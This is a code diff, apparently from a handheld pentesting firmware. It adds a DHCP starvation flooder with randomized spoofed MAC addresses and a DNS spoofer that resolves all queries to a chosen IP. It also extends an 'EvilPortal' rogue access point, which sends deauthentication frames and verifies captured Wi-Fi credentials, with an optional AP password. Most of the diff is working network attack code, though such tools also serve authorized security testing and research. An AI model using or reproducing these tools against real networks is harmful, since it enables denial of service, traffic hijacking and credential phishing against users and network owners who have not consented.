@@ -0,0 +1,6 @@ +#ifndef CRED_FORWARD_H +#define CRED_FORWARD_H + +void credForward(); + +#endif diff --git a/src/modules/wifi/dhcp_starvation.cpp b/src/modules/wifi/dhcp_starvation.cpp new file mode 100644 index 000000000..1ad1e8081 --- /dev/null +++ b/src/modules/wifi/dhcp_starvation.cpp @@ -0,0 +1,95 @@ +#if !defined(LITE_VERSION) +#include "dhcp_starvation.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include +#include +#include + +static volatile bool dhcpRunning = false; +static int packetsSent = 0; + +static void sendDhcpDiscover(uint8_t *mac) { + uint8_t packet[272]; + memset(packet, 0, sizeof(packet)); + + packet[0] = 0x01; + packet[1] = 0x01; + packet[2] = 0x06; + packet[3] = 0x00; + + uint32_t xid = random(0x10000000, 0x7FFFFFFF); + memcpy(&packet[4], &xid, 4); + + packet[8] = 0x00; packet[9] = 0x00; packet[10] = 0x80; packet[11] = 0x00; + memcpy(&packet[12], mac, 6); + memset(&packet[18], 0, 202); + + packet[236] = 0x63; packet[237] = 0x82; packet[238] = 0x53; packet[239] = 0x63; + + packet[240] = 0x35; packet[241] = 0x01; packet[242] = 0x01; + + packet[243] = 0x37; packet[244] = 0x0D; + packet[245] = 0x01; packet[246] = 0x03; packet[247] = 0x06; + packet[248] = 0x0F; packet[249] = 0x11; packet[250] = 0x1C; + packet[251] = 0x28; packet[252] = 0x2C; packet[253] = 0x2A; + packet[254] = 0x02; packet[255] = 0x1F; packet[256] = 0x18; + packet[257] = 0x2B; + + packet[258] = 0xFF; + + IPAddress broadcast(255, 255, 255, 255); + WiFiUDP udp; + if (udp.beginPacket(broadcast, 67)) { + udp.write(packet, 259); + udp.endPacket(); + } +} + +void dhcpStarvation() { + if (WiFi.getMode() == WIFI_MODE_NULL) { + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + delay(100); + } + + dhcpRunning = true; + packetsSent = 0; + + drawMainBorderWithTitle("DHCP Starvation"); + int y = 45; + + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(12, y); + tft.print("Flooding DHCP server"); + y += 14; + tft.setCursor(12, y); + tft.print("with DISCOVER pkts"); + y += 20; + + while (dhcpRunning) { + uint8_t mac[6]; + for (int i = 0; i < 6; i++) mac[i] = random(256); + mac[0] &= 0xFE; + mac[0] |= 0x02; + + sendDhcpDiscover(mac); + packetsSent++; + + if (packetsSent % 50 == 0) { + tft.setTextColor(TFT_MAGENTA, bruceConfig.bgColor); + tft.setCursor(12, y); + tft.printf("Packets: %d", packetsSent); + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString("Esc to stop", tftWidth / 2, tftHeight - 20, 1); + } + + if (check(EscPress)) dhcpRunning = false; + delay(20); + } + + displayInfo("Sent " + String(packetsSent) + " DHCP packets", true); +} +#endif diff --git a/src/modules/wifi/dhcp_starvation.h b/src/modules/wifi/dhcp_starvation.h new file mode 100644 index 000000000..aec15c402 --- /dev/null +++ b/src/modules/wifi/dhcp_starvation.h @@ -0,0 +1,6 @@ +#ifndef DHCP_STARVATION_H +#define DHCP_STARVATION_H + +void dhcpStarvation(); + +#endif diff --git a/src/modules/wifi/dns_spoofer.cpp b/src/modules/wifi/dns_spoofer.cpp new file mode 100644 index 000000000..003043e79 --- /dev/null +++ b/src/modules/wifi/dns_spoofer.cpp @@ -0,0 +1,86 @@ +#if !defined(LITE_VERSION) +#include "dns_spoofer.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include "core/wifi/wifi_common.h" +#include +#include +#include + +static DNSServer dnsServer; +static volatile bool dnsRunning = false; +static IPAddress spoofIp(192, 168, 4, 1); +static int queriesHandled = 0; + +class SpoofDnsRequestHandler : public DNSServer { +public: + void processNextRequest() { + _dnsServer->processNextRequest(); + } +}; + +static void startDnsSpoofer() { + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, "*", spoofIp); +} + +void dnsSpoofer() { + if (WiFi.getMode() == WIFI_MODE_NULL) { + displayError("Connect to WiFi first"); + return; + } + + options.clear(); + int target = -1; + options.push_back({"Gateway (192.168.4.1)", [&target]() { target = 0; }}); + options.push_back({"Custom IP", [&target]() { target = 1; }}); + options.push_back({"Back", [&target]() { target = -1; }}); + loopOptions(options, MENU_TYPE_SUBMENU, "Spoof Target"); + + if (target < 0) return; + + if (target == 1) { + String ip = keyboard("192.168.4.1", 15, "Spoof IP:"); + if (ip == "\x1B" || ip.isEmpty()) return; + spoofIp.fromString(ip); + } else { + spoofIp = WiFi.gatewayIP(); + } + + startDnsSpoofer(); + dnsRunning = true; + queriesHandled = 0; + + drawMainBorderWithTitle("DNS Spoofer"); + int y = 45; + + tft.setTextColor(TFT_CYAN, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(12, y); + tft.printf("Spoofing to: %s", spoofIp.toString().c_str()); + y += 14; + tft.setCursor(12, y); + tft.print("All DNS -> target IP"); + y += 20; + + while (dnsRunning) { + dnsServer.processNextRequest(); + queriesHandled++; + + if (queriesHandled % 100 == 0) { + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setCursor(12, y); + tft.printf("Queries: %d", queriesHandled); + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString("Esc to stop", tftWidth / 2, tftHeight - 20, 1); + } + + if (check(EscPress)) dnsRunning = false; + delay(1); + } + + dnsServer.stop(); + displayInfo("DNS Spoofer stopped", true); +} +#endif diff --git a/src/modules/wifi/dns_spoofer.h b/src/modules/wifi/dns_spoofer.h new file mode 100644 index 000000000..b5334d371 --- /dev/null +++ b/src/modules/wifi/dns_spoofer.h @@ -0,0 +1,6 @@ +#ifndef DNS_SPOOFER_H +#define DNS_SPOOFER_H + +void dnsSpoofer(); + +#endif diff --git a/src/modules/wifi/evil_portal.cpp b/src/modules/wifi/evil_portal.cpp index 3ca4f7197..84a44df98 100644 --- a/src/modules/wifi/evil_portal.cpp +++ b/src/modules/wifi/evil_portal.cpp @@ -62,7 +62,23 @@ bool EvilPortal::setup() { if (apGateway == IPAddress((uint32_t)0)) { if (!apGateway.fromString(bruceConfig.evilPortalGatewayIp)) apGateway = IPAddress(172, 0, 0, 1); } + if (apName.isEmpty() && !_autoMode) { + if (bruceConfig.evilWifiNames.empty()) { + apName_from_keyboard(); + } else { + options = { + {"Custom Wifi", [this]() { apName_from_keyboard(); }} + }; + for (const auto &_wifi : bruceConfig.evilWifiNames) { + options.emplace_back(_wifi.c_str(), [this, _wifi]() { this->apName = _wifi; }); + } + loopOptions(options); + } + } if (apName.isEmpty()) apName = "Free Wifi"; + if (apName.length() > 32) apName = apName.substring(0, 32); + + if (!_autoMode && !_verifyPwd) apPassword_from_keyboard(); if (_autoMode) { if (apName.indexOf("router") != -1 || apName.indexOf("update") != -1 || @@ -91,20 +107,6 @@ bool EvilPortal::setup() { memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); wsl_bypasser_send_raw_frame(&ap_record, _channel); - if (apName == "") { - if (bruceConfig.evilWifiNames.empty()) { - apName_from_keyboard(); - } else { - options = { - {"Custom Wifi", [this]() { apName_from_keyboard(); }} - }; - for (const auto &_wifi : bruceConfig.evilWifiNames) { - options.emplace_back(_wifi.c_str(), [this, _wifi]() { this->apName = _wifi; }); - } - loopOptions(options); - } - } - options = { {"Default", [this]() { @@ -131,7 +133,7 @@ void EvilPortal::beginAP() { if (!WiFi.softAPConfig(apGateway, apGateway, IPAddress(255, 255, 255, 0))) { Serial.println("[PORTAL] softAPConfig failed"); } - if (!WiFi.softAP(apName, emptyString, _channel)) { + if (!WiFi.softAP(apName, apPassword.isEmpty() ? emptyString : apPassword, _channel)) { Serial.printf("[PORTAL] softAP failed for SSID '%s' on ch%d\n", apName.c_str(), _channel); } wifiConnected = true; @@ -262,7 +264,7 @@ void EvilPortal::restartWiFi(bool reset) { _captiveHandler = nullptr; wifiDisconnect(); - WiFi.softAP(apName, emptyString, _channel); + WiFi.softAP(apName, apPassword.isEmpty() ? emptyString : apPassword, _channel); vTaskDelay(100 / portTICK_PERIOD_MS); setupRoutes(); @@ -802,6 +804,20 @@ void EvilPortal::apName_from_keyboard() { if (apName == "\x1B") apName = "Free Wifi"; } +void EvilPortal::apPassword_from_keyboard() { + String pwd = ""; + while (true) { + pwd = keyboard(pwd, 63, "AP Password (empty=open, 8-63):"); + if (pwd == "\x1B") { + pwd = ""; + break; + } + if (pwd.isEmpty() || (pwd.length() >= 8 && pwd.length() <= 63)) break; + displayWarning("Password must be 8-63 chars or empty", true); + } + apPassword = pwd; +} + bool EvilPortal::verifyCreds(String &Ssid, String &Password) { bool isConnected = false; bool temp = _deauth; diff --git a/src/modules/wifi/evil_portal.h b/src/modules/wifi/evil_portal.h index 0ab0ac10a..62de30f9d 100644 --- a/src/modules/wifi/evil_portal.h +++ b/src/modules/wifi/evil_portal.h @@ -50,7 +50,8 @@ class EvilPortal { bool shouldTerminate(); private: - String apName = "Free Wifi"; + String apName = ""; + String apPassword = ""; uint8_t _channel; bool _deauth; bool isDeauthHeld = false; @@ -109,6 +110,7 @@ class EvilPortal { String ssid_POST(void); void apName_from_keyboard(void); + void apPassword_from_keyboard(void); }; #endif